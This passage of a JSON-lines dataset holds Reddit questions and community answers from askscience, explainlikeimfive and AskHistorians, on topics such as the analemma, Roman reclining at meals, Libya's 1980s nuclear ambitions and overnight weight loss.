bad then the social system collapses.\n\nLarger communes, and communism in general, collapse because of [Dunbar's Number](_URL_1_).\n\nAny one monkey can only know so many other monkeys as real monkeys instead of cutout silhouettes of monkeys that are to be feared and reviled.\n\nDunbar's number is also probably why the U.S. Senate (100 voting members plus a few non-voters) still works, but the U.S. House (435 voting members plus a few non-voters) is essentially a lost cause. Dunbar's Number for humans is only 150 people. It's neurologically impossible for any member of the house to see all his peers as individual people.\n\nA further counfounding effect is [The Illusion of Asymmetric Insight](_URL_0_) which causes each of us to think we have everybody else \"figured out\" but insist that nobody has us \"figured out\" because we are complex individuals.\n\nThat IoAI is a blame amplifier, causing members of the commune family to go all dysfunctional and start calling eachother out by their simplified memes. \"Well you're just lazy\". \"You are too bossy.\" etc.\n\nSo communes fall apart for the same reasons that families do and there is no societal pressure to hold them together. No \"commune divorce stigma\" as it were.\n\nSo just like a happy family, you don't hear about the good ones, but the disasters make the news.\n\nAnd just like a fad, the people who made a big noise about starting one didn't usually start it for the right reasons.\n\nBut to a real extent many \"we'd never call it a commune\" community households silently form, persist for some number of years, and then dissolve all the time.\n\nPlus property prices suck now so finding a living space for twenty people to go live off the land like a hippy in the beautyful spaces near the beach just doesn't happen any more. The aging hippies bought up all that land when they went all yuppy in the eighties.\n\n(Seriously, there were _cheap_ _shacks_ on the _beachfront_ until that beachfront property was declared desirable in the movies.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Illusion_of_asymmetric_insight", "https://en.wikipedia.org/wiki/Dunbar's_number"]]}
{"q_id": "10bjmj", "title": "quick Analemma question", "selftext": "If the orbital plane of earth around the sun was perfectly flat, would the Analemma still look like a figure 8 or would it be a straight line?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10bjmj/quick_analemma_question/", "answers": {"a_id": ["c6c0n2u", "c6c25so"], "score": [2, 5], "text": ["No, I believe no. I think it is the tilt of the earth on its own axis that makes it shaped like an 8. Edit: tried to make my answer more clear.", "I am an astrophysicist and once spent an entire afternoon lying on my back with a globe trying to get a better sense for the analemma. Here's what I figured out, intuitively.\n\nTo get that characteristic shape, you need there to be a tilt in the earth's rotational axis with respect to the sun's orbit *and* the earth has to be on an elliptical orbit *and* the point where the sun is at equinox has to not be the point it is farthest (or nearest) to the sun. The \"up-down\" aspect of the analemma comes from the tilt of the earth, the \"left-right\" aspect comes from the ellipticity, and the \"figure-eight\" aspect comes from the relative phase of those things -- the fact that the earth is most distant from the sun at one month, and tilted most away at another month. The earth's orbit is \"flat\" around the sun, or, better put, a single plane contains the center of mass of the Sun and the earth over the whole course of the year. This flatness is not related to the analemma."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5cl4ju", "title": "what is the pink stuff that appears on your tub? where does it come from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5cl4ju/eli5_what_is_the_pink_stuff_that_appears_on_your/", "answers": {"a_id": ["d9xam7v", "d9xhvfb"], "score": [20, 7], "text": ["That pink mold or mildewy like stuff is an airborne bacteria called \"serratia marcescens\". It thrives in damp, poorly ventilated rooms and feeds on any number of the substances found in common toiletries like soaps, shampoos, etc. It's harmless in all but the most extreme of quantities.\n\nCleaning it off of surfaces is a good thing, sure, but because it's airborne it's the bits in the air that you'll want to deal with to eliminate it entirely. Tea tree oil, lavendar, and especially good old fashioned vinegar are the best things to get rid of it.", "You have pink stuff on your bath tub?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "xi1b6", "title": "what's going on in anaheim?", "selftext": "So the number one video on r/video is a creepy clip on protests(?) in Anaheim. What's going on there and why did it start? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xi1b6/eli5_whats_going_on_in_anaheim/", "answers": {"a_id": ["c5mjlkf", "c5mk5ns", "c5mkaqr", "c5mkig4", "c5mkpyc", "c5mkqmu", "c5mob48", "c5mox1k", "c5mqnm0", "c5mthxu"], "score": [151, 5, 36, 77, 139, 19, 4, 7, 2, 2], "text": ["TL;DR police did some bad things, had a really poor reputation in the area. \n\nThe pot boiled over and people responded by assembling on the streets in initially \"peaceful\" protests. Large numbers of people are using this as an excuse to cause destruction to private property.\n\nPolice are responding with a strong visual presence with SWAT due to the intensity of the violent mob behaviour of a lot of citizens. The ability to have a peaceful protest in that area has been thrown away due to the actions of some and now when people assemble the police are rightly causing them to disperse/ arresting them. ", "Hm, the Anaheim coverage sounds like there was a zombie outbreak and now they're trying to cover it up.", "But what are they protesting about exactly?", "I live a few miles from Anaheim and have seen different takes on it:\n\nCitizens of Anaheim: Two of our fellow citizens got tragically and senselessly shot to death by cops.\nPolice: We were out making sure everything was happy in the world when we saw two bad guys and took them out so everyone was safer!\nReactionaries: Two wonderful, peaceful people were reading their Bibles while feeding the poor when GODLESS POLICE burst onto the scene and killed literally everyone.\nAnarchists: Police kill everyone, it's up to us to overthrow our oppressors! *insert Chomsky quote or anarchist lyrics*\nDisneyland Visitor: LET'S GO SEE MICKEY MOUSE LOL\n\n(this is why I don't have children...)\n", "Tension has been pretty high between the police and citizens of Orange County. Last year we had Kelly Thomas beaten to death by the Fullerton PD. Now people are claiming that police killed two unarmed guys. People are protesting and the police are responding in force. There has been an escalation of militarization of the police. It went from riot gear to full on military uniforms with M4s. \n\nThere are also people claiming that the police have planted people within the protestors to cause problems. \n\nWhile you might see a lot of people blaming the protestors for the violence, you have to ask yourself \"Who has the guns? Who has been hurt?\" ", "Police shot an unarmed man. people started to gather in the street while the scene was being investigated. police responded by shooting non lethal weapons at the crowd and also uleashed a police K-9 unit, the crowd had lots of kids and even babies in strollers. protest are being held due to the police actions. police are still being dicks at the protests due to them being dicks.", "What people seem to forget about \"peaceable assembly\" is that there's a lot of paperwork and scheduling that has to happen before people can take to the streets.\n\nI have no idea what's going on in Anaheim but if it's anything like some of these comments make it out to be, a major part of the process is being forgotten here.\n\nKeeping the paperwork and scheduling in mind, the police are entirely justified in dispersing crowds that assemble off the books. That's not police aggression, that's the police doing their job protecting the peace and maintaining traffic flow in cities.\n\nI've noticed that whatever police-related reason there is to protest is immediately justified by the masses when police get involved to control the protests (protests I'm assuming in this case are looting riots). \"OH LOOK the police are attacking the people again! This is why they started rioting in the first place! Fuck the police!\" People are stupid. ", "They're just really excited to have Teemu Selanne back.", "Uh, a, uh, a tulip festival. Yes, that's right, tulips, lots of tulips! No we can't go, it's a local thing.", "Do you need an answer, or do you need a difficult concept explained to you like a 5-year-old? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "1emwfw", "title": "what are the legal options for sentencing a pregnant woman?", "selftext": "Just something that occurred to me. For example, let's suppose a murderer is 5 months pregnant at the time of sentencing. Would there be any special circumstances about their prison time, given the possible stress upon the baby?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1emwfw/what_are_the_legal_options_for_sentencing_a/", "answers": {"a_id": ["ca1s2ly", "ca1t2cj", "ca1ub2d", "ca26jc2"], "score": [17, 6, 13, 3], "text": ["The appeals process is of such a length that the problem will likely be moot.", "Most jurisdictions when death penalties were common would automatically commute the sentence of a pregnant woman to something none lethal.\n\nOnce a child is born it hasn't committed any crimes so there are  lots of variations on what should be done.  Almost none of these involve changing the sentence of the mother.", "Arrangements would be made for the prisoner to give birth while in custody. After a small grace period they would be returned to serving out their sentence.", "Judges sometimes grant leniency to pregnant women, but there is no general rule that excuses a pregnant woman from her sentence.\n\nThe baby would be born while in custody, and then given to relatives or social services.  Some jurisdiction have experimented will allow inmates to keep they infants with them for a period of time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3lzvsi", "title": "I think this may be more of an engineering question. How did tribal people of Australia and Papa New Guinea come up with the Boomerang and the fire piston?", "selftext": "Not trying to seem sound or be racist. how did people whom technology wise were are par with the Native Americas Incas and Mayas all achieving building great monuments with little to no metal tools. the boomerang itself needs some complex aerodynamics to work. That to me rule out a stick being thrown and it just caught the wind right for them to refine it from there. the fire piston work by rapidly compression of air to get hot fast but need the right compression ratio. How could tribal people just come up with these simple yet complex tools.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3lzvsi/i_think_this_may_be_more_of_an_engineering/", "answers": {"a_id": ["cvau2by"], "score": [6], "text": ["I'm afraid I can't answer your main question, but I will say this. The Australian aborigines were a lot more technologically sophisticated than they're commonly given credit for. The tool use displayed in creating an array of very clever fishing hooks is quite impressive and they actually utilised some quite advanced boat building techniques at one point. \nAs to why they never built any large permanent structures, that had less to do with resources and more to do with the nature of their society. They were almost entirely nomadic, so they're tribal groups never stayed geographical static long enough to build anything like that. The other cultures you mention were stable agrarian societies, largely because because they had pastoral land suitable for agriculture and mega fauna that could be easily farmed or hunted. Conditions like these allow for more stratified societies where specialisation can occur. They give rise to separate groups of farmers, warrior casts, bureaucrats etc... \nAustralia's environment is quite unsuited to this type of development, as shown by the horrific consequences of creating grazing land and large scale planting of grain crops by white settlers. Australia has very thin top soil because of its lack of tectonic activity. Farming has had a devastating effect on the environment due to soil erosion. But I digress... \nNo large scale farming + roaming hunter gathering culture = no large permanent man made structures. \nNo idea how they invented the boomerang though, those things are fucking lethal and incredibly clever, they don't seem to have an equivalent in any other culture. Bit of a head scratcher that one... "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cq3u1e", "title": "before journalists publish reports containing info that leads to a scandal, do they make their intentions and progress publicly known?", "selftext": "And what I mean by that is, do they tell the public that they're going to investigate a certain person or organization?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cq3u1e/eli5_before_journalists_publish_reports/", "answers": {"a_id": ["ewts98r"], "score": [2], "text": ["Yes and no?  It is a thing to publish enough of a story and then say 'if you know more,  please contact our tip account'.  If you've hit a wall, or it's a big investigation (IIRC Carol Cadwallah and Brexit) and you need to publish something (and help pay for all this), it's a way forward.  \n\nBut by and large, telegraphing intentions is a good way to get the target to step in with some kind of clampdown legal action.  \n\nNormally, once the investigation is together, the subject is contacted to provide a counter to the allegations, which are added to the article for fairness and balance (your country may vary, some media are powerful enough to publish and ignore being damned for any inaccuracies and so on)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4hxlwa", "title": "How dense of a gravity field to bend a LASER around a circle 180 degrees?", "selftext": "I was thinking about bending light around a corner as an alternative to using a mirror. I was wondering how dense of a gravity field to bend light or space 180 degrees, as if the light beam orbitted a briefly-existing blackhole for half an orbit then flying straight out like a tangent. Parallel to initial entry direction.\n\n\nNote: that the diameter of the black hole should be the size of a golf ball.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4hxlwa/how_dense_of_a_gravity_field_to_bend_a_laser/", "answers": {"a_id": ["d2taldo", "d2tiely"], "score": [25, 4], "text": ["Basically you'd need a black hole whose event horizon is 2/3 the radius of the circle you want the laser to bend in.", "Could you even bend light 180 degrees? It seems geometrically impossible - the light would have to curve around the center of mass with constant radius. Once it made it 180 degrees around, it would still be 'captured' in orbit, right?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3s3agu", "title": "How would a young child (say, 12 years old) in Victorian England be treated if he/she committed a crime?", "selftext": "Like the title suggests, was there a separate criminal justice process for children in the 19th century in England, or were children accused of crimes put through the same process as adults? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3s3agu/how_would_a_young_child_say_12_years_old_in/", "answers": {"a_id": ["cwty4m7"], "score": [3], "text": ["Same process. This _URL_0_  is an interesting educational resource that deals with child criminals. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://webarchive.nationalarchives.gov.uk/20081023145831/http://learningcurve.gov.uk/snapshots/snapshot25/snapshot25.htm"]]}
{"q_id": "6tzv14", "title": "If we made a perfectly round object, would it be possible to know if it was spinning or not?", "selftext": "Implying that there is this theoretical perfectly round sphere, if I spun it, wouldn't the fact that it's the same on every side you can imagine make it so you couldn't see the difference between it \"facing\" north and facing south? Then how would it be possible to know if it was spinning?  \n\n\nEDIT: I've been getting a few people saying things like \"Touch it.\" or \"Put a marker on it.\" and deleting their comments after. If it were perfectly smooth with no bumps, there would be nothing you could hold onto. If the answer was that simple, I wouldn't have asked this question.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6tzv14/if_we_made_a_perfectly_round_object_would_it_be/", "answers": {"a_id": ["dlovpjy", "dloyedl"], "score": [62, 9], "text": ["Yes, there are differences between a non-rotating sphere and a rotating sphere. Some examples (not necessarily easy to measure):\n\n1. A rotating sphere emits gravitational waves.\n2. A rotating sphere exhibits a frame-dragging effect.\n3. A rotating sphere will tend to bulge at its equator over time.\n\nBut perhaps the quickest and easiest way to determine whether the sphere is rotating (other than touch it I suppose) is to point a laser at the surface and measure the frequency of the reflected light. If the sphere is rotating, the reflected frequency will be different from the emitted frequency in accordance with the Doppler effect. You can even estimate the angular velocity of the sphere and determine the rotation axis by measuring the reflected frequency from many points on the surface.", "If the sphere is a superconductor, it will generate a magnetic field when spinning, with the axis of the magnetic field aligned with the spin axis, via a quantum mechanical phenomenon known as the [London moment](_URL_0_). (Don't ask me to explain this \u2014 I don't fully understand it myself.)\n\nThe cool part is that this isn't just theoretical, but is actually used to measure the spin of four spheres in NASA's [Gravity Probe B](_URL_1_) experiment, which measures the frame-dragging effect of the earth's rotation as predicted by general relativity. It involves measuring the spin of what are possibly the most nearly perfect spherical objects ever created by humans, made of quartz coated by a layer of niobium, and cooled so the niobium layer becomes superconducting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/London_moment", "https://history.msfc.nasa.gov/gravity_probe_b/GravityProbeB_20050400.pdf"]]}
{"q_id": "2ulfv6", "title": "We know the Romans ate while lying down. When did the practice of eating at a table while sitting upright begin?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ulfv6/we_know_the_romans_ate_while_lying_down_when_did/", "answers": {"a_id": ["co9kag5", "co9uvmp"], "score": [205, 38], "text": ["Do we know how common it was for Romans to do this? This seems like a difficult stance to consume anything.", "Long before the practice of reclining at table began, if that's what you're asking. The OCD lists reclining at table as first appearing among the Greeks possibly sometime around 700, though in the study of early Greece that often just means sometime around the end of the Dark Age. The practice was somewhat common in the Near East, which is where the Greeks got it from. Reclining at table is not mentioned, for example, in Homer, and only appears rather late in Roman literature. We don't know when the Romans adopted the practice, though the Etruscans were already reclining at table in the 7th Century, as evidenced by the ubiquity of the practice in tomb paintings depicting banquets (a common Etruscan tomb theme). The Romans almost certainly got it from the Etruscans, but we don't know when or precisely how--presumably it was one of many cultural practices inherited from the Etruscans throughout their period of close contact with the city. Livy dates the *lectisternium*, the ritual in which images of various gods were laid out on couches with a banquet set out before them, to 399. Whether this date is accurate or not, it's clear that at the very least the practice was *known* at a very early period. Plautus' characters routinely recline whenever eating in company, and by Cicero's time the practice was pretty much ubiquitous.\n\nThere seem to be a lot of comments on here question whether this was purely a practice of the aristocracy or not. It probably wasn't, at least by the time it was commonly adopted, though originally it almost certainly was. Certainly it was not the mark of a socio-political elite, if freedmen like Trimalchio are depicted as reclining at table and just about everyone in Greek literature does. Wealth and luxury, however, almost certainly were attached to the practice in some way. For one thing, you need rather a lot of room for a proper *triclinium*. And importantly, reclining at table was done when eating among companions, not by yourself. Romans and Greeks may well have eaten reclining while eating by themselves, but pretty much all of our references to reclining at table is during feasts or banquets among company. Both the Greeks and Romans ate rather lightly during the day, often on the go, and parading out the rather bulky furniture of the *triclinium* is rather silly for that. In connection with this most of the furniture of the *triclinium* was removable, particularly the tables, which would be stored away and only replaced in the room during dinner (not sure about the couches--some of them appear to have been really heavy). It's safe to say that reclining at table would not have been necessarily common except when company was over--in every society private dinner parties tend to be the reserve of the wealthy and connected, but that's not to say that rich Romans were attending dinner banquets *every* night. That it was a practice connected with high culture is obvious--Aristophanes' depiction of Philocleon as an antiquated old rube is reinforced by the fact that he has to be taught how to recline at table. It was also very ritual, which would've been very important among all classes and social strata. Both at Rome and Greece public banquets were laid out with couches--at Athens we have evidence of the massive public dining rooms on the Acropolis, obviously laid out to fit huge numbers of couches (although the exact arrangement of the couches is debated), and the massive public banquets often paid for on religious occasions by private politicians at Rome are usually described as being laid out with couches. It's also interesting to note that there is evidence for reclining at table in pretty much every Roman province at some point, but I don't know much about archaeology so that's all I can say on that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4omlge", "title": "The Libyans! What was going on in 1985 that would have made Libya the go-to reference for Doc Brown's illicit plutonium sourcing in Back To The Future?", "selftext": "Why not the Palestinians, or the Lebanese, or the Dutch, or the Papua New Guineans? What place did Libya occupy in the popular American consciousness in the mid-1980s?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4omlge/the_libyans_what_was_going_on_in_1985_that_would/", "answers": {"a_id": ["d4dyw0t", "d4e0ija"], "score": [1406, 465], "text": ["During the 1980s, Libya (having tried and failed to buy nuclear weapons from other countries) tried to get access to uranium and plutonium alike for the purpose of building weapons. It completed a research reactor (with Soviet help) back in 1979, that gave it the opportunity to produce plutonium, and evaded IAEA safeguards during that time. They also attempted to buy nuclear material from black market sources throughout this period.\n\nYou can read more about their plans for nuclear weapons at the links below:\n\n_URL_1_\n\n_URL_0_", "*Back to the Future* was released in the United States on July 3, 1985 and according to [various draft scripts released online](_URL_0_), the screenplay was largely written in 1984. \n\nIf you haven't seen the movie, it contains the following lines:\n\n > \"Doc, you don't just walk into a store and-and buy plutonium! Did you rip that off?\"\n\n > \"Of course. From a group of Libyan nationalists. They wanted me to build them a bomb, so I took their plutonium and, in turn, gave them a shoddy bomb casing full of used pinball machine parts. Come on! Let's get you a radiation suit. We must prepare to reload.\"\n\nIn the first half of the 1980s, one of President Ronald Reagan's significant foreign policy dilemmas was the issue of Libya. David Willis, in his 2004 book, called Reagan's dealings with Libya \"the first war on terrorism,\" and while I don't agree that it was the \"first,\" it certainly was a war on terrorism.\n\nIn 1969, Muammar Gaddafi led a coup against King Idris of Libya. After the 1973 Cultural Revolution, Gaddafi consolidated his power through the introduction of sharia law and the manipulation of Islamist sentiment that surged following the Yom Kippur War. Gaddafi brutally purged opponents of his regime and conducted distractionary wars against his neighbors.\n\nHis government's ideology shifted and flowed throughout his tenure as dictator, sometimes in a confusing muddle, but it maintained its Islamist flavor as a unifying force. Gaddafi had a great interest in assuming a prominent role on the international scene. He was an active participant in pan-Arab movements such as the Federation of Arab Republics and created the Islamic Legion as a tool to unify the region.\n\nThis desire to be a dominant force led him to support terrorist and \"liberation\" movements throughout the Middle East and Africa -- even the IRA received some support. Libyan support is believed to have been behind the 1972 Munich Olympics terrorist attack, the Rome and Vienna airport attacks, the bombing of Pan Am Flight 103, and dozens of other high-profile terrorist attacks.\n\nThere was even a direct confrontation with the United States in 1981. The Gulf of Sidra incident happened because Libya claimed a large chunk of the Mediterranean as its territorial waters, in violation of international agreement. The U.S. Sent a carrier air group into this space, and it was challenged by Libyan aircraft. On Aug. 19, 1981, Libyan jets fired on American aircraft and were shot down in turn.\n\nPresident Reagan took a hard line against the Libyans for their support of terrorist causes, because of their support of international conflict, their backing from the Soviet Union, and the Gulf of Sidra incident. Libyan diplomats were expelled, sanctions levied, and other diplomatic and military moves were taken.\n\nSince the 1969 coup, Gaddafi had taken special care to pursue nuclear weapons. In the 1970s, for example, he attempted to purchase an atomic bomb from China. He worked with the Soviet Union to obtain atomic assistance, moves that accomplished the construction of an atomic reactor in 1981. \n\nLibya pursued Pakistan and India diplomatically, again seeking atomic assistance. They acquired centrifuges and other materials, and were known to be pursuing nuclear weapons in the early 1980s, at the time the screenplay was written.\n\nTo summarize, Libya was thought of in the United States at the time of the writing of the screenplay as a violent, rogue state seeking nuclear weapons, making it a perfect foil for the start of the movie. \n\nIronically, the use of Libya in the film became much more appropriate in 1986, when it was still playing in some theaters around the world. In that year, the confrontation between America and Libya again became violent, with both naval and aerial clashes following terrorist attacks against American targets in Europe. \n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.globalsecurity.org/wmd/world/libya/nuclear.htm", "http://www.nti.org/e_research/profiles/Libya/Nuclear/index.html"], ["http://www.dailyscript.com/scripts/bttf4th.pdf"]]}
{"q_id": "1v6nh0", "title": "when repaving a road, why do they skip the overpass?", "selftext": "I've noticed that the new pavement usually stops right before the suspended part of an overpass. Why is this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v6nh0/eli5_when_repaving_a_road_why_do_they_skip_the/", "answers": {"a_id": ["cep7lft", "cep8ezr", "cep8v4k"], "score": [3, 2, 9], "text": ["Its also has to do with weight.  The amount of load the road is guaranteed at. Over time additional layers of repave would significantly reduce clearance heights both above and below the bridge.  ", "I don't know how much is true about has been said so far, I do know however that they usually do an overpass seperately.\n\nThe reason for this has to do with weather conditions. Ever noticed these rubber strips when driving over an overpass? \nThose are there for the movement of the pavement. When it gets warm it will expend and when it gets cold it will contract. \nThe rubber inbetween gives the pavement the room to do so.", "I don't think they can pave continuously because of the expansion joints."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "b94jw9", "title": "what biological processes must take place for mammals to have blue fur the way birds have blue feathers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b94jw9/eli5_what_biological_processes_must_take_place/", "answers": {"a_id": ["ek2fv0a"], "score": [2], "text": ["For whatever reason, blue is just a relatively uncommon colour in nature, and especially among vertebrates.  Colours can generally be created in two ways; pigments, and structural colouration.  Pigments are chemicals that just automatically absorb certain colours of light; for example, [melanin](_URL_5_) is common in many animals, and typically results in black or brown colouration.  On the other hand, structural colouration works by having very tiny structures (on roughly the same scale of the wavelength of the light itself, so we're talking a few hundred nanometres) that only reflect light of specific wavelengths.  [This picture](_URL_0_) of a blue morpho butterfly's wings shows one way this can work.\n\nSo basically, the difference is that if you put pigments, from a [cardinal](_URL_3_) for example, into a blender and grind them up, they will still look red.  However, if you put something with structural colouration, like a [blue jay](_URL_2_) in... well, it would still turn red, but if you just put some *feathers* in, they would lose their colour.  You can see a more temporary example in [this gif](_URL_7_) of another butterfly wing; the liquid changes the reflective properties of the surface, and removes the blue colouration.  [This website](_URL_4_) has some really nice diagrams of how different bird colouration works too.\n\nAs for why mammals don't really have many similar examples, I would guess that feathers are just easier to use for structural colouration than hair is due to the fact that they already include much finer architecture.  That doesn't stop some mammals from having blue colouration, like [this mandrill](_URL_6_), but this again is due to structural elements ([in the skin this time](_URL_1_)).\n\nEdit: oops, didn't see that this got removed.  Oh well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://1d59b73swr1f1swu2v451xcx-wpengine.netdna-ssl.com/wp-content/uploads/strategy/1d00d97a206855365c038d57832ebafa/morphorhetenornanostructure_v2.png", "http://jeb.biologists.org/content/207/12/2157.full", "https://cdn.audubon.org/cdn/farfuture/yWNjcDbBrxN7mAkWnC5MOrRvvOxpovXEOEwlMl93tcs/mtime:1486670025/sites/default/files/styles/hero_cover_bird_page/public/sfw_fixed_01-29-2011-223.jpg?itok=F6y3r6RM", "https://justbirding.com/wp-content/uploads/2018/06/bird-feeders-for-cardinals.jpg", "https://academy.allaboutbirds.org/how-birds-make-colorful-feathers/", "https://en.wikipedia.org/wiki/Melanin", "http://naturalbridgezoo.com/wp-content/uploads/2017/05/MandrillMale-638x1024.jpg", "https://i.imgur.com/7Qme9yZ.gifv"]]}
{"q_id": "27wvpw", "title": "Is it feasible (or possible) to deal with melting ice caps through artificial cooling of the area?", "selftext": "Since the more ice there is the slower it melts (as is my understanding, i'm probably wrong) wouldn't the progress become more efficient the earlier it's started, or the longer it goes _URL_0_ it simply too much water to cool or freeze that it's out of our reach with current technology?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27wvpw/is_it_feasible_or_possible_to_deal_with_melting/", "answers": {"a_id": ["ci5dy7z"], "score": [2], "text": ["As good as our technology gets we'll never be able to violate the laws of thermodynamics.  In order to locally cool something somewhere you have to generate an even greater amount of heat elsewhere.  Any attempt would be a net HEATING of the earth.\n\nAlso, cooling especially is horribly inefficient.  I pay $50 a month to just cool my bedroom (not the rest of my apartment) a half dozen degrees below ambient temperature.  How much would it cost to cool a continent?  More money than has ever existed per month?"]}, "title_urls": [], "selftext_urls": ["on.Is"], "answers_urls": [[]]}
{"q_id": "3bd0n4", "title": "how do photos of scenery from r/earthporn and photos from r/spaceporn get these amazing photos that look different from what we see with the naked eye.", "selftext": "I hear terms like '20 second exposure' thrown around a lot and I know this is why. I am curious as to what this is and how it relates to capturing things we cannot see with the naked eye. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bd0n4/eli5_how_do_photos_of_scenery_from_rearthporn_and/", "answers": {"a_id": ["csl16fe", "csl1cif"], "score": [3, 9], "text": ["For the example you gave, exposure is how long the sensor gets exposed to light. The more light, the brighter the dark areas. You don't want to do a long exposure in daylight (without a good ND filter) as it will be basically a white picture.  \n  \nI'm sure there are on Android as well, but if you have an iPhone, there are apps that allow you to adjust the exposure/shutter speed.  \n  \n[Here's a normal example of dealing with your subject in the shadows](_URL_2_).  \n  \nSince it's exposed for longer, it picks up more movement, allowing the ability to take pictures like [this](_URL_0_) and [this](_URL_1_).", "Very long exposures allow you to have a very small aperture.  The smaller the aperture, the more the depth of field.  Long depth of field allows objects near and far from the camera to be in focus at the same time.  A deep focus field is one of the things that makes some of these landscape photos fantastic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://photographytuts.com/wp-content/uploads/2013/04/camera-exposure02.jpg", "http://www.photographymad.com/files/images/golden-zephyr.jpg", "http://my3boybarians.com/wp-content/uploads/2010/09/shutterspeed1.jpg"], []]}
{"q_id": "24v16n", "title": "i \"lost\" about four pounds last night; where did it go?", "selftext": "Yesterday I worked out, lifting heavy. I weighed about 199.1ish; this morning I weighed 195.5. Where did the weight go?  \n  \nSome notes: I usually drink 4+ liters of water a day. Yesterday, I probably drank 6-7. Also, I ate a good bit yesterday, but I sure didn't have a four pound shit this morning. What gives?  \n  \nEDIT: /u/Ellyrio's link explains it really well along with a handful of others in the comments:  \n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24v16n/eli5_i_lost_about_four_pounds_last_night_where/", "answers": {"a_id": ["chawz21", "chawzq1", "chaxecl", "chaxqfp", "chaxvlb", "chaxyza", "chay074", "chay87n", "chb4o6g", "chb575f", "chb9i9n"], "score": [4, 12, 27, 61, 74, 23, 2, 4, 4, 2, 3], "text": ["When you weighed yourself, did you have clothes on? Compared to just your pajamas/undies this morning?\n\nThat combined with a healthy defecation, breaking the seal after waking up and sweating throughout the night, and you will probably get around 4 lbs.", "so your body breaths in 02 and you exhale CO2 so you lose a carbon you also breath out water vapor and toxins (some probably from working out[fun fact: you breath out 5% of the alcohol you drink]) when rebuilding the small tears from working out it needs lots of energy so lots of O2 so lots of CO2 comes out. You may have also sweat a lot. Most people's weight fluctuates about 3-7 pounds in a given day due to this.", "[A good (short) video on the subject](_URL_0_) by Veritasium.", "Mostly moisture in your breath and sweat.", "It's definitely possible to lose weight overnight, but I think there's also a small margin of error that needs to be factored in on a typical bathroom scale.  I've actually weighed myself before and after taking a dump and seen the weight *increase*.  I'm not sure how to explain that other than the scale being off.", "When you breathe you're actually breathing out more \"stuff\" than you're taking in which multiplied over the whole night would result as a small about of weight loss.", "Did you use a mechanical 'doctor's scale'? You need to account for fluctuation in accuracy, even if it's by +/- 1%, that's enough to account for half of your 4lbs. My scale is screwy, if you weigh in, it's usually accurate, but any weight relatively close will always say the same thing until a 'new' weight is added. \n\nI can weigh myself on my scale and it'll read 212.6, and I can hold a full Gatorade bottle and it'll still read 212.6. If I manipulate my weight by a lot, like holding a 25lb weight or holding myself up on the counter a little bit to give it a chance to register a new weight it will correct my weight + Gatorade and show 214.6lbs. If it isn't on a totally level surface, that'll make it fluctuate by +/-3lbs. Honestly, you probably piss it out, but if you're using a generic $20 scale from Walmart you can usually blame scale error. I have a $50 Weigh Watchers scale and it's been like this for the last few years. ", "Also the water and fluid in your lungs will also evaporate", "In addition to what others have already said, your body also uses water in pretty much every important reaction that happens in your body.\n\nEven though you aren't active when you're sleeping, your body still has to function to keep you alive.  That uses water.  Water weighs a lot.  So, your weight will decrease.\n\nAlso, you can clearly see how easy it is to lose water weight.  Weigh yourself before and after you take a large piss.  You could easily lose close to a pound.\n\nAlso, poop isn't very dense or heavy.  The amount of weight you lose when pooping is usually very minimal.  If someone says they lost a few pounds after a big shit, most of the weight was probably actually from piss.", "Cool TedTalk video explaining the science behind where the weight goes: _URL_0_", "A possibility not yet discussed (though it seems unlikely in this case, it is repative to the topic) is that you also could have had an immune response that raised your body temperature and metabolism in your sleep, and recovered by the time you woke up. This burns a lot more calories. Or you could have had frightening dreams that raised your heartrate and metabolism. "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=lL2e0rWvjKI"], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=lL2e0rWvjKI"], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=NGKLpYtZ19Q"], []]}
